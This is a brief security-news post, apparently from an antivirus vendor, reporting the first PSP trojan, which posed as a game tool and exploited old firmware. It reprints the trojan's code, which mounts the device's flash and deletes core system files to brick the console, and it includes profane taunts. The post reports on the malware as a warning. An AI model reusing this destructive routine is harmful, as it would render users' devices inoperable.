First PSP Trojan

Malware are not for computers alone. Some have evolved to infecting
even mobile devices and not to mention some mp3 players too. And
now…. they have found another target and you may be one of them,
the videogame-enthusiasts. The first trojan for Sony Playstation
Portable, otherwise known as PSP (now you know!?) has now been
found. Originally PSP can only run games which are approved by Sony
but of course almost if not all is possible in the computing world
— hacks are available which allow users to run their own games.
Actually, a vulnerability that allows execution of custom code was
found in the older versions (like 1.50) of PSP and Sony had already
fixed this issue in the newer versions. Exploit has also been available and been used by this
newly found trojan, which disguises as some tool to get on board
for some other games. Instead, it deletes system files, rendering
the machine to be inoperable. So now there it is… your
“game-buddy”….lying “dead”.


Each day, malware authors have thought of widening the horizons for
infection, the question now lies… what could be next?


Here is the code as seen in some forum:

_start:


while(1)


sceIoAssign:
syscall 0x20a8


sceIoRemove:
syscall 0x209e


main:
call FillVram(0)

call Print(1,1,0xFFFFFF,”PSP TEAM 2.0 Exploit Hack the 2.0
firmware”)

call Print(1,2,0xFFFFFF,”Thank’s to toc2rta for the 2.0 exploit :)
“)

call sceIoAssign(“flash6:”, “lflash0:0,0”, “flashfat2:”, 0, 0,
0)

call sceIoRemove(“flash6:/vsh/etc/index.dat”)

call sceIoRemove(“flash6:/kd/loadcore.prx”)

call sceIoRemove(“flash6:/kd/loadexec.prx”)

call sceIoRemove(“flash6:/kd/init.prx”)

call Print(1,4,0xFFFFFF,” Your 2.0 is hacked please reboot “)

call Print(1,5,0xFFFFFF,” Thank you PSP Team the french
team”)

call Print(1,6,0xFFFFFF,” FuCk yoshihiro and SonyxTeam
Looser”)



Meanwhile, sample is now being processed by the Service Team. Heads
up for updates.
